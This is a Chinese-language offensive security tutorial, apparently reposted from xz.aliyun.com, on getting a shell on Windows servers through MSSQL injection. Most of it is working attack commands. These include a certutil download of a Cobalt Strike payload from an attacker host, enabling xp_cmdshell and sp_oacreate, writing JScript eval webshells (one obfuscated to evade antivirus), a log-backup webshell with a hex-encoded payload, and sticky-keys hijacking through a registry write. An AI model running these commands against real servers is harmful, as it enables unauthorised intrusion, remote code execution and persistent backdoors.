MSSQL GetShell方法
2020-12-09 11:03:22 Author: xz.aliyun.com(查看原文) 阅读量:349 收藏

0x01 环境准备

windows2008+MSSQL2008+iis7
windows2003+MSSQL2005+iis6

08和05的mssql还是有些区别的

05以下系统权限为system

08以上系统权限就不是system了,看到好几种,比较多的是network service

0x02 通过命令下载文件得到shell

certutil这个用的比较多,别的也没有试过,这篇文章比较详细

https://payloads.online/archivers/2017-11-08/1

环境用的是08

首先通过sqlmap --os-shell得到执行命令的权限

打开python一句话服务器,在CS上面生成木马放到根目录

certutil.exe -urlcache -split -f http://192.168.163.128:8080/artifact.exe

如果提示拒绝访问,可以在找一个能创建文件夹的目录,创建完之后下载到文件夹里

这里会超时,然后sqlmap会重复执行命令,CS会上线好几次,如果不需要的话发现上线直接退出sqlmap即可

这里用户本来应该是network service,但是安装的时候设置了一下就变成administrator,如果为network service可以使用juicypotato提权

0x03 绝对路径写webshell

写webshell不难,但是找到绝对路径挺难的,总结了一下找绝对路径的方法

  • 报错信息
  • 配置文件
  • cmd命令搜索文件
  • 找旁站路径
  • xp_dirtree
  • xp_subdirs
  • 修改404页面
  • 爆破路径

通过堆叠注入开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

报错信息

这个需要管理员配置过web.config,如果没配置过是看不到的(配置过也不一定看的到..)

<configuration>
    <system.web>
        <customErrors mode="Off"/>
    </system.web>
</configuration>

这样应该是可以看到路径的

配置文件

通过type读取配置文件

适用于2005或者高权限启动的2008

C:\Windows\system32\inetsrv\metabase.xml        #iis6
C:\Windows\System32\inetsrv\config\applicationHost.config       #iis7

这个没啥问题,最好是有联合查询注入的时候使用,不然是真的慢

这是08的配置文件

cmd命令搜索文件

dir/s/b c:\index.aspx

/s      #列出所有子目录下的文件和文件夹

/b      #只列出路径和文件名,别的属性全部不显示

dir本身有检索功能,直接输入 dir index.aspx,会列出当前文件夹下文件名为index.aspx的文件属性,通过上面的命令可以检索磁盘下面的文件,并且不列出文件属性,减少数据量。

尽量找一些不是很常见的文件名,如果同服务器有别的网站或者有备份文件,用常见的名字会列出很多

结果hw的时候坑了一下,碰到的一个服务器没有E盘却有F盘,然后列到没E盘就没往下试了,完美的错过了网站根目录,而且在D盘里面还有个很像网站根目录的地方,就使劲往里写,但是一点反应都没有,还好后来有个师傅在F盘里面找到了根目录最后拿到了shell

其实当时sqlmap在列数据库路径的时候也显示数据库在F盘里,不过后来一直想着总不会真的在F盘里吧,外加是时间盲注真的很慢就没有去试,结果还真的踩坑了,看来以后还是需要细心

后来问了师傅是怎么找到根目录的,师傅说用了for循环,但是没有给出具体命令,然后我去网上查了一下,自己写了一条命令

for %i in (c d e f g h i j k l m n o p q r s t u v w x v z) do @(dir/s/b %i:\sql.aspx)

这个命令看起来有点蠢(其实真的蠢,应该还有效率高的但是想不出来了..)

还有用这个命令最好在linux上面的sqlmap的,linux上面发现绝对路径可以直接Ctrl+c停止,会返回os-shell,如果windows就会直接退出sqlmap

os-shell最好使用q退出,让sqlmap按照完整的过程退出os-shell,如果直接退出可能会出点问题,比如第二次os-shell就上不去了

sqlmap 超时时间需要设置长一点,毕竟要跑全盘,--timeout=100

找旁站路径

看看旁站有没有地方可以爆出绝对路径,写到旁站里面

之前碰到过一个mysql的网站,可以写文件但是注入的那个站目录不可写,通过sqlmap读出httpd.conf,在里面找到了旁站的路径,然后写了webshell

xp_dirtree

xp_dirtree有三个参数,

  1. 要列的目录
  2. 是否要列出子目录下的所有文件和文件夹,默认为0,如果不需要设置为1
  3. 是否需要列出文件,默认为不列,如果需要列文件设置为1
xp_dirtree 'c:\', 1, 1      #列出当前目录下所有的文件和文件夹

通过堆叠注入建表,将输出插入表里,通过注入将表列出来

http://192.168.163.133/sql.aspx?id=1;create table dir(subdirectory varchar(255),depth int, filee int);insert into dir(subdirectory,depth,filee) exec xp_dirtree 'c:\',1,1

因为xp_dirtree输出是三个字段的所以要创建一个三个字段的表 ,字段名可以随便取

通过sqlmap列出dir表就可以看到目录了

sqlmap有缓存,可以通过--fresh-queries重新列数据表,--flush-session这个直接清掉缓存重新跑

xp_subdirs

xp_subdirs 'c:\'

这个方法和上面的一样,缺点是不能列出文件

修改404页面

适用于2005或者高权限启动的2008

上面有两个配置文件路径一个是iis6一个是iis7

iis的报错页面一般都在

C:\inetpub\custerr\zh-CN

最后语言这个文件夹可能会变,之前看到湾湾的是zh-TW,如果是外语的话可能也会变成相应的

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\inetsrv\config\applicationHost.config' ,'C:\inetpub\custerr\zh-CN\404.htm';

如果是05的数据库要修改配置文件路径

C:\WINDOWS\Help\iisHelp\common\404b.htm #iis6 404页面位置
C:\Windows\system32\inetsrv\metabase.xml #iis6 配置文件

爆破路径

爆破我觉得实在有点不现实就不写了,毕竟路径只要不是默认的基本就很难猜到了

一般来说iis的默认根目录为C:\inetpub\wwwroot\

得到绝对路径之后就可以写入webshell了

echo ^<%@ Page Language="Jscript"%^>^<%Response.Write(eval(Request.Item["z"],"unsafe"));%^> > C:\inetpub\wwwroot\shell.aspx

<>需要转义

0x04 sp_oacreate写入webshell

需要知道绝对路径

如果xp_cmdshell被删除无法恢复,或者被过滤,可以使用xp_dirtree或xp_subdirs列出目录,通过sp_oacreate写入webshell

通过堆叠注入开启sp_oacreate

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE

这个之前没了解,看了文章发现还挺有趣的,利用的方法也很多

先写最简单的执行命令吧

declare @o int;
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',null,'cmd /c mkdir c:\temp';
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\temp\user.txt';
create table cmd_output (output text);
BULK INSERT cmd_output FROM 'c:\temp\user.txt' WITH (FIELDTERMINATOR='n',ROWTERMINATOR = 'nn')      -- 括号里面两个参数是行和列的分隔符,随便写就行
select * from cmd_output

列出cmd_output得到命令结果

如果这个命令执行成功,会返回0

其实就是执行了一个vbs

Set objShell = CreateObject("wscript.shell")
objShell.run "cmd /c mkdir c:\temp"
objShell.run "cmd /c net user > c:\temp\user.txt"

还有一种用Shell.Application的方法,这个直接执行命令没有复现成功,但是通过vbs脚本执行命令是成功的

可以使用scripting.filesystemobject写入文件后执行

declare @f int,@g int
exec sp_oacreate 'Scripting.FileSystemObject',@f output
EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\wwwroot\cmd.vbs',1
EXEC sp_oamethod  @f,'WriteLine',null,'Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "cmd", "cmd /c whoami>c:\whoami.txt", "", "runas",1'
declare @o int

exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1'; --支持2005,不支持2008

exec sp_oamethod @o,'ShellExecute',null,'c:\inetpub\wwwroot\cmd.vbs', '', 'c:\', '', 0 --成功

然后和上面一样写入表里就可以了

这里的vbs

Set write = CreateObject("Scripting.FileSystemObject")
write.CreateTextFile("c:\inetpub\wwwroot\cmd.vbs).WriteLine("Set objShell = CreateObject(""Shell.Application"")"+CHR(13)+"objShell.ShellExecute ""cmd"", ""cmd /c whoami>c:\whoami.txt"", """", ""runas"", 1")
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "c:\inetpub\wwwroot\cmd.vbs", "", "c:\", "", 0

这里顺便写一下,xp_cmdshell会出现

在执行 xp_cmdshell 的过程中出错。调用 'CreateProcess' 失败,错误代码: '5'。

网上查了之后几种说法

  1. 没有cmd
  2. 没有权限执行cmd
  3. 服务器上有杀毒软件

没有cmd想想也不太可能,没cmd系统估计都要出问题,但是还是尝试删除cmd,03上面删了会自己恢复,08删不掉

没有权限执行,这个也尝试了一下,但是没权限配置权限,后来也没继续看了

安装360后发现360会拦截

经过测试只要mssql带起可以执行命令的文件都会拦截,sp_oacreate也是用不了的,powershell也不行

暂时没找到什么方法,基本所有执行命令的方法都会被拦截,Agent Job也不行,因为也要启动powershell,而且这个还需要启动mssql代理,所以这种方法就不复现了

如果服务器上存在web服务,可以通过上面那种写vbs的方法将webshell写入网站根目录,

declare @f int,@g int
exec sp_oacreate 'Scripting.FileSystemObject',@f output
EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\wwwroot\shell.aspx',1
EXEC sp_oamethod  @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a+b));%>'

一句话需要免杀,网上找了个方法处理一下就过了

0x05 备份getshell

需要知道绝对路径

testdb是当前数据库

网上查到两种方法,一种是差异备份一种是log备份

差异备份2005和2008均没有复现成功

05会一直报少一个%>标记,08会多一个<%然后报错,如果有解决的大佬希望可以告知一下,提前感谢

log备份

alter database testdb set RECOVERY FULL 
backup database testdb to disk = 'c:\bak.bak'
create table cmd (a image) 
backup log testdb to disk = 'c:\aaa.bak' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log testdb to disk = 'C:\inetpub\wwwroot\shell.asp'

两个数据库都可以成功,备份文件小,不容易出现脏数据

0x06 劫持粘滞键

适用于2005,服务器开放3389

sp_oacreate复制文件

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';

xp_regwrite修改注册表

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','c:\windows\system32\cmd.exe';

0x07 复现过程中的一些问题

之前看到过一篇文章是不需要堆叠注入执行命令,而且还要使用if,然后在测试的时候发现,只要在正确的语句后面接上语句都是可以执行的,不需要;,在web上面也是可以的

成功添加数据库

那这样是不是就不需要堆叠注入了

想知道一下原理但是问了几个地方都没有得到想要的答案,有位大佬说是mssql解释器的问题,但是具体也不清楚

如果有大佬知道的还希望大佬可以告诉我,感谢


文章来源: http://xz.aliyun.com/t/8603
如有侵权请联系:admin#unsafe.sh